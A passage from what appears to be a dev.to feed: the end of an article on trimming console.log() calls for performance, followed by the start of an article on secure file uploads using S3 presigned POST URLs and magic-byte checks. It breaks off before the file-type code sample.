&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Test&lt;/th&gt;
&lt;th&gt;Measured time&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Single &lt;code&gt;console.log()&lt;/code&gt; call&lt;/td&gt;
&lt;td&gt;0.003 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1,000 calls inside a loop&lt;/td&gt;
&lt;td&gt;26.4 ms&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;These are example measurements, not universal benchmarks. Actual results depend on the browser, runtime, machine, output size, and whether DevTools is open.&lt;/p&gt;

&lt;p&gt;The important point is simple:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A tiny cost repeated thousands of times can become noticeable.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And even if your browser groups repeated messages into one line, it doesn't mean the logging calls were skipped.&lt;/p&gt;

&lt;h2&gt;
  
  
  How can we avoid this?
&lt;/h2&gt;

&lt;p&gt;The good news is that we don't need to stop using &lt;code&gt;console.log()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;We just need to use it carefully.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Remove unnecessary logs
&lt;/h3&gt;

&lt;p&gt;Debug logs are useful while developing, but most don't need to stay in production.&lt;/p&gt;

&lt;p&gt;Instead of:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Processing:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nf"&gt;processUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Keep it simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;processUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you need to know how many users were processed, log a summary instead of every individual record.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;processUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`Processed &lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; users`&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One useful message is often better than thousands of repeated messages.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Create a simple logger
&lt;/h3&gt;

&lt;p&gt;If you frequently debug your application, a small logger can help.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;isDevelopment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
  &lt;span class="nx"&gt;process&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;env&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;NODE_ENV&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;production&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;logger&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;log&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isDevelopment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;

  &lt;span class="na"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;isDevelopment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;

  &lt;span class="na"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;args&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now use it anywhere:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;User loaded successfully&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;warn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Response is taking longer&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;logger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Failed to load user&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In production, debug messages won't be printed.&lt;/p&gt;

&lt;p&gt;Just remember that calling a no-op logger still has a small cost, especially if you're calculating expensive values before passing them to it. Also, &lt;code&gt;process.env.NODE_ENV&lt;/code&gt; must be supported or replaced by your build tool.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Remove console calls during the build
&lt;/h3&gt;

&lt;p&gt;If your project uses Terser, you can configure it to remove console statements when building for production.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// vite.config.js&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;defineConfig&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;vite&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;default&lt;/span&gt; &lt;span class="nf"&gt;defineConfig&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;build&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;minify&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;terser&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;terserOptions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;compress&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="na"&gt;drop_console&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;log&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;debug&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;info&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
      &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;},&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This removes the selected console methods from the production bundle.&lt;/p&gt;

&lt;p&gt;Notice that we haven't removed &lt;code&gt;console.error()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;That's intentional.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;One important thing:&lt;/strong&gt; Don't blindly remove every console call. Some messages are useful for troubleshooting real production issues. Build-time removal can also remove argument expressions, so avoid relying on side effects inside logging calls.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Keep important error reporting
&lt;/h3&gt;

&lt;p&gt;Not every console message is unnecessary.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;saveUser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Failed to save user:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Errors are worth recording.&lt;/p&gt;

&lt;p&gt;For larger production applications, a proper logging or error-monitoring system is even better. It helps you understand failures without depending entirely on browser console output.&lt;/p&gt;

&lt;p&gt;Just make sure you don't accidentally log passwords, tokens, or sensitive user information.&lt;/p&gt;

&lt;h2&gt;
  
  
  A small habit that makes a difference
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;console.log()&lt;/code&gt; isn't bad.&lt;/p&gt;

&lt;p&gt;It's incredibly useful, and there's no reason to avoid it while debugging.&lt;/p&gt;

&lt;p&gt;The problem starts when we leave unnecessary logs in frequently executed code, especially loops, rendering logic, and high-traffic paths.&lt;/p&gt;

&lt;p&gt;A few things worth remembering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Avoid logging every iteration of a large loop.&lt;/li&gt;
&lt;li&gt;Remove unnecessary debug messages before production.&lt;/li&gt;
&lt;li&gt;Use a simple logger when it makes sense.&lt;/li&gt;
&lt;li&gt;Configure your build tools to strip unwanted logs.&lt;/li&gt;
&lt;li&gt;Keep meaningful error reporting.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You probably won't notice a performance difference from removing two or three logs.&lt;/p&gt;

&lt;p&gt;But removing thousands of unnecessary logging operations from a hot path? That can make a real difference.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The takeaway:&lt;/strong&gt; Use the console to understand your code, not to slow it down.&lt;/p&gt;

&lt;p&gt;Have you ever found unnecessary &lt;code&gt;console.log()&lt;/code&gt; calls causing performance issues in a project?&lt;/p&gt;

&lt;p&gt;I'd love to hear about it! 👇&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>webdev</category>
      <category>performance</category>
    </item>
    <item>
      <title>Never Trust File Uploads: Building a Secure S3 Pipeline</title>
      <dc:creator>Mohamed Ismail</dc:creator>
      <pubDate>Sat, 24 Oct 2026 04:30:00 +0000</pubDate>
      <link>https://dev.to/ihssmaheel/never-trust-file-uploads-building-a-secure-s3-pipeline-2edf</link>
      <guid>https://dev.to/ihssmaheel/never-trust-file-uploads-building-a-secure-s3-pipeline-2edf</guid>
      <description>&lt;p&gt;File uploads look simple.&lt;/p&gt;

&lt;p&gt;A user selects a file, your backend receives it, saves it to storage, and returns a URL.&lt;/p&gt;

&lt;p&gt;Done, right?&lt;/p&gt;

&lt;p&gt;Not really.&lt;/p&gt;

&lt;p&gt;What if someone uploads a malicious file disguised as an image? What if hundreds of users upload large files at the same time? Or what if an infected PDF becomes available for everyone to download?&lt;/p&gt;

&lt;p&gt;A simple upload feature can quickly become a security problem.&lt;/p&gt;

&lt;p&gt;Let's look at how to build a safer file upload pipeline using &lt;strong&gt;S3, magic bytes, and ClamAV&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Stop sending files through your API server
&lt;/h2&gt;

&lt;p&gt;A common approach is to receive files through your Node.js backend and then upload them to S3.&lt;/p&gt;

&lt;p&gt;This works, but your API becomes a middleman.&lt;/p&gt;

&lt;p&gt;Every upload uses server bandwidth and connections. If you're buffering files in memory, large uploads can also consume a lot of RAM.&lt;/p&gt;

&lt;p&gt;A better approach is to use &lt;strong&gt;S3 presigned URLs&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here's how it works:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The client requests an upload URL from your API.&lt;/li&gt;
&lt;li&gt;Your API checks permission and generates a short-lived URL.&lt;/li&gt;
&lt;li&gt;The client uploads the file directly to S3.&lt;/li&gt;
&lt;li&gt;S3 stores the file in a private quarantine location.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Your API handles permissions, not the actual file transfer.&lt;/p&gt;

&lt;p&gt;For example, using AWS SDK v3:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;randomUUID&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;node:crypto&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;S3Client&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@aws-sdk/client-s3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;createPresignedPost&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;@aws-sdk/s3-presigned-post&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;s3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;S3Client&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;region&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;us-east-1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;createUpload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// userId must come from the authenticated session&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`quarantine/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nf"&gt;randomUUID&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;fields&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;createPresignedPost&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;Bucket&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;my-private-uploads&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;Expires&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="na"&gt;Conditions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
      &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;content-length-range&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="p"&gt;],&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;fields&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This creates a presigned POST that allows uploads up to 10 MB and expires after five minutes.&lt;/p&gt;

&lt;p&gt;The client sends the returned fields and file as &lt;code&gt;multipart/form-data&lt;/code&gt; directly to S3.&lt;/p&gt;

&lt;p&gt;The bucket stays private, and the backend should record the generated key against the authenticated user.&lt;/p&gt;

&lt;p&gt;One important thing: &lt;strong&gt;a successful upload doesn't mean the file is safe&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;We still need to inspect it.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Never trust file extensions or MIME types
&lt;/h2&gt;

&lt;p&gt;Imagine someone uploads a file named &lt;code&gt;profile.png&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Your backend checks:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;file&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;mimetype&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;image/png&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;// Accept file&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Looks fine, right?&lt;/p&gt;

&lt;p&gt;The problem is that the MIME type usually comes from the client.&lt;/p&gt;

&lt;p&gt;Anyone can rename a file or send a fake &lt;code&gt;Content-Type&lt;/code&gt; header.&lt;/p&gt;

&lt;p&gt;Instead, check the actual file content.&lt;/p&gt;

&lt;h3&gt;
  
  
  Check the magic bytes
&lt;/h3&gt;

&lt;p&gt;Many file formats have recognizable binary signatures called &lt;strong&gt;magic bytes&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;File&lt;/th&gt;
&lt;th&gt;Signature&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;PNG&lt;/td&gt;
&lt;td&gt;&lt;code&gt;89 50 4E 47 0D 0A 1A 0A&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JPEG&lt;/td&gt;
&lt;td&gt;&lt;code&gt;FF D8 FF&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PDF&lt;/td&gt;
&lt;td&gt;&lt;code&gt;25 50 44 46 2D&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ZIP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;50 4B 03 04&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In Node.js, the &lt;a href="https://github.com/sindresorhus/file-type" rel="noopener noreferrer"&gt;&lt;code&gt;file-type&lt;/code&gt;&lt;/a&gt; package makes this easier.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
